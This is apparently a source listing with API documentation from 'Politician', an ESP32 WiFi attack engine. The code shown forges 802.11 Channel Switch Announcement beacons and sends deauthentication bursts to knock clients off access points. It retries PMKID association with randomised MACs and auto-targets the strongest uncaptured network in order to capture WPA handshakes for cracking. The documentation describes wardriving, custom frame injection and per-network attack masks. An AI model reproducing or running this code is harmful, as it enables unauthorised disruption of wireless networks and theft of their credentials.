1967 for (int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
1968 frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
1969 frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
1970 frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
1971 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
1972 frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
1973 for (int i = 0; i < _cfg.csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); delay(15); }
1974 _log("[CSA] Sent burst on ch%d\n", _fishChannel);
1975}
1976
1977void Politician::_processFishing() {
1978 if (_fishState == FISH_IDLE) return;
1979 if (_fishState == FISH_CSA_WAIT) {
1980 if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[CSA] Captured!\n"); if (_autoTarget) { clearTarget(); _autoTargetActive = false; } return; }
1981
1982 if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK && _csaFallbackMs > 0 && millis() >= _csaFallbackMs) {
1983 _csaFallbackMs = 0;
1984 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1985 _sendDeauthBurst(_cfg.csa_deauth_count, known_sta2);
1986 _log("[Attack] CSA fallback triggered — sending Deauth burst\n");
1987 }
1988
1989 if (!_csaSecondBurstSent && (millis() - _fishStartMs > 2000)) {
1990 _csaSecondBurstSent = true;
1991 if (_attackMask & ATTACK_CSA) _sendCsaBurst();
1992 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
1993 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1994 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst(_cfg.csa_deauth_count, known_sta2);
1995 }
1996 _log("[CSA] Burst 2\n");
1997 }
1998 if (millis() >= _probeLockEndMs) {
1999 _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis();
2000 _stats.failed_csa++;
2001 _log("[CSA] Wait expired\n");
2002 if (_attackResultCb) {
2003 AttackResultRecord r; memset(&r, 0, sizeof(r));
2004 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2005 r.result = RESULT_CSA_EXPIRED; _attackResultCb(r);
2006 }
2007 if (_cfg.max_total_attempts > 0) {
2008 for (int i = 0; i < MAX_AP_CACHE; i++) {
2009 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2010 if (++_apCache[i].total_attempts >= _cfg.max_total_attempts) {
2011 _markCaptured(_fishBssid);
2012 _log("[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2013 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2014 }
2015 break;
2016 }
2017 }
2018 }
2019 if (_autoTarget) { clearTarget(); _autoTargetActive = false; }
2020 }
2021 return;
2022 }
2023 if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[Fish] Captured!\n"); if (_autoTarget) { clearTarget(); _autoTargetActive = false; } return; }
2024 if (millis() >= _probeLockEndMs) {
2025 esp_wifi_disconnect();
2026 if (_fishRetry < _cfg.fish_max_retries) {
2027 _fishRetry++; _log("[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
2028 _probeLockEndMs = millis() + _cfg.fish_timeout_ms; _fishAuthLogged = false; _fishAssocLogged = false; esp_wifi_connect(); return;
2029 }
2030 if (_attackMask & ATTACK_CSA) {
2031 _log("[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
2032 memset(_fishSta, 0, 6); // No known STA from PMKID path
2033 _csaFallbackMs = 0;
2034 _sendCsaBurst();
2035 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
2036 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst(_cfg.csa_deauth_count);
2037 } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
2038 if ((_attackMask & ATTACK_CSA) && (_attackMask & ATTACK_DEAUTH)) {
2039 // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
2040 _csaFallbackMs = millis() + 1000;
2041 } else if (_attackMask & ATTACK_DEAUTH) {
2042 _sendDeauthBurst(_cfg.csa_deauth_count);
2043 }
2044 }
2045 _fishState = FISH_CSA_WAIT; _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms; _csaSecondBurstSent = false;
2046 } else {
2047 _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis();
2048 _stats.failed_pmkid++;
2049 _log("[Fish] Exhausted\n");
2050 if (_attackResultCb) {
2051 AttackResultRecord r; memset(&r, 0, sizeof(r));
2052 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2053 r.result = RESULT_PMKID_EXHAUSTED; _attackResultCb(r);
2054 }
2055 if (_cfg.max_total_attempts > 0) {
2056 for (int i = 0; i < MAX_AP_CACHE; i++) {
2057 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2058 if (++_apCache[i].total_attempts >= _cfg.max_total_attempts) {
2059 _markCaptured(_fishBssid);
2060 _log("[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2061 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2062 }
2063 break;
2064 }
2065 }
2066 }
2067 if (_autoTarget) { clearTarget(); _autoTargetActive = false; }
2068 }
2069 }
2070}
2071
2072} // namespace politician
#define CAP_EAPOL_HALF
#define LOG_FILTER_PROBE_REQ
#define ATTACK_PMKID
#define CAP_SAE
#define LOG_FILTER_BEACONS
#define ATTACK_DEAUTH
#define LOG_FILTER_HANDSHAKES
#define ATTACK_STIMULATE
#define LOG_FILTER_PROBES
#define CAP_EAPOL_GROUP
#define ATTACK_PASSIVE
#define CAP_EAPOL_CSA
#define CAP_EAPOL
#define LOG_FILTER_MGMT_DISRUPT
#define ATTACK_CSA
#define ATTACK_ALL
#define CAP_PMKID
#define EAPOL_KEY_DATA_LEN
Definition Politician.h:76
#define FC_FROMDS_MASK
Definition Politician.h:49
#define MGMT_SUB_PROBE_RESP
Definition Politician.h:58
#define MGMT_SUB_BEACON
Definition Politician.h:59
#define MGMT_SUB_DEAUTH
Definition Politician.h:62
#define MGMT_SUB_ASSOC_RESP
Definition Politician.h:56
#define EAPOL_MIN_FRAME_LEN
Definition Politician.h:69
#define MGMT_SUB_ASSOC_REQ
Definition Politician.h:55
#define EAPOL_ETHERTYPE_HI
Definition Politician.h:66
#define POLITICIAN_MAX_CHANNELS
Definition Politician.h:26
#define EAPOL_ETHERTYPE_LO
Definition Politician.h:67
#define FC_TYPE_MASK
Definition Politician.h:46
#define EAPOL_KEY_NONCE
Definition Politician.h:74
#define EAPOL_KEY_INFO
Definition Politician.h:72
#define KEYINFO_SECURE
Definition Politician.h:83
#define EAPOL_KEY_MIC
Definition Politician.h:75
#define FC_TYPE_DATA
Definition Politician.h:52
#define EAPOL_KEY_DESC_TYPE
Definition Politician.h:71
#define EAPOL_LLC_SIZE
Definition Politician.h:68
#define KEYINFO_PAIRWISE
Definition Politician.h:80
#define KEYINFO_ACK
Definition Politician.h:81
#define KEYINFO_MIC
Definition Politician.h:82
#define EAPOL_REPLAY_COUNTER
Definition Politician.h:73
#define FC_SUBTYPE_MASK
Definition Politician.h:47
#define MGMT_SUB_DISASSOC
Definition Politician.h:61
#define EAPOL_KEY_DATA
Definition Politician.h:77
#define FC_TYPE_MGMT
Definition Politician.h:50
#define FC_TODS_MASK
Definition Politician.h:48
#define FC_ORDER_MASK
Definition Politician.h:53
#define MGMT_SUB_AUTH
Definition Politician.h:60
#define MGMT_SUB_PROBE_REQ
Definition Politician.h:57
#define KEYINFO_INSTALL
Definition Politician.h:84
The core WiFi handshake capturing engine.
Definition Politician.h:91
void stop()
Full engine teardown.
Error lockChannel(uint8_t ch)
Stops hopping and locks the radio to a specific channel.
void clearCapturedList()
Clears the captured BSSID list.
void markCaptured(const uint8_t *bssid)
Manually adds a BSSID to the "already captured" list to skip it.
static const char * getVendor(const uint8_t *mac)
Looks up the vendor name for a given MAC address (OUI).
Error injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel, uint32_t lock_ms=0, bool wait_for_channel=false)
Injects a custom 802.11 frame.
bool getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const
Reads a client MAC from the per-AP client table.
void clearAttackMaskOverrides()
Clears all per-BSSID attack mask overrides.
void setAutoTarget(bool enable)
Continuously locks onto the strongest uncaptured AP in the cache.
int getClientCount(const uint8_t *bssid) const
Returns the number of unique clients seen associated to a given AP.
void tick()
Main worker method.
Error setTargetBySsid(const char *ssid)
Searches the AP cache by SSID and locks onto the strongest match.
void setActive(bool active)
Enables or disables frame processing.
void setChannelBands(bool ghz24, bool ghz5)
Restricts hopping to 2.4GHz, 5GHz, or both bands.
void stopHopping()
Stops autonomous channel hopping and goes idle.
void setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask)
Overrides the attack mask for a specific BSSID.
void setIgnoreList(const uint8_t(*bssids)[6], uint8_t count)
Sets a list of BSSIDs that should always be ignored by the engine.
Error setTarget(const uint8_t *bssid, uint8_t channel)
Focuses the engine on a single BSSID.
Error setChannel(uint8_t ch)
Manually sets the WiFi radio to a specific channel.
bool getApByBssid(const uint8_t *bssid, ApRecord &out) const
Looks up an AP in the discovery cache by BSSID.
void clearTarget()
Clears the specific target and resumes autonomous wardriving.
bool getAp(int idx, ApRecord &out) const
Reads an AP from the discovery cache by index.
Error begin(const Config &cfg=Config())
Initializes the WiFi driver in promiscuous mode.
void startHopping(uint16_t dwellMs=0)
Starts autonomous channel hopping.
void setAttackMask(uint8_t mask)
Configures which attack techniques are enabled globally.
void setChannelList(const uint8_t *channels, uint8_t count)
Restricts hopping to a specific list of channels.
static const BuiltinOui _FP_OUI_DB[]
static const char *const _FP_VENDORS[]
uint16_t channel_frames[200]
const char * soft_ap_ssid
uint32_t probe_hidden_interval_ms
uint16_t probe_aggr_interval_s
static const uint8_t CHANNEL_5GHZ_COMMON[]
volatile uint32_t dropped
static bool isValidChannel(uint8_t ch)
Snapshot of a discovered Access Point from the internal cache.
Configuration for the Politician engine.
void delay(uint32_t ms)
uint32_t millis()